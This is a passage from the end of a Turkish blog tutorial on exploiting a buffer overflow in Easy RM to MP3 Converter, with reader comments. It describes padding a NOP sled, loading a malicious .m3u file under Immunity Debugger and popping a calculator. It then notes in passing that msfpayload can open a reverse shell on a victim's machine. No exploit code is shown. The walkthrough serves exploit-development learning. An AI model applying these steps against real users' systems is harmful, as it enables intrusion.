Belki gözünüze çarpmıştır. Önceki adımlarda bulduğumuz ara boşluğa bi 10 tane daha NOP anlamına gelen \x90 ekledim. Shellcode'umuz stack'e atlarken bi taraflarına zeval gelmesin diye yastık/airbag niyetine koyduk onu oraya, herhangi bir etkisi yoktur. Dilerseniz bad charları bulmak için uyguladığımız adımları uygulayıp Follow in Dump diyerek NOP'ların (\x90) bellekteki yerlerini görebilirsiniz.

Bu kadar yazı yeter, exploit'imizi kaydedip m3u uzantımızı alalım. İmmunity'den Restart program yapıp ardından Run edelim. Dosyamızı uygulamaya Load üstünden yükleyelim.
Ve tüm yazıdan beklediğimiz sonuç,

Overflow anlatımlarının meşhur Hesap makinesi.
Tabii hepsi bu kadar masumluk içermiyor. Msfpayload'ı kullanarak kurban ile reverse bağlantı kurarak bilgisayarında cirit atabiliriz.

3 yorum:

  1. Çok güzel anlatmışsın fakat makalede bahsettiğin programın linkini bulamadım eğer sende hala duruyorsa bir siteye yükleyip burada paylaşabilirmisin ?

    YanıtlaSil
    Yanıtlar
    1. yazıda verilmiş exploit-db linki icerisinde uygulamanın linki mevcut aslında;
      https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe

      Sil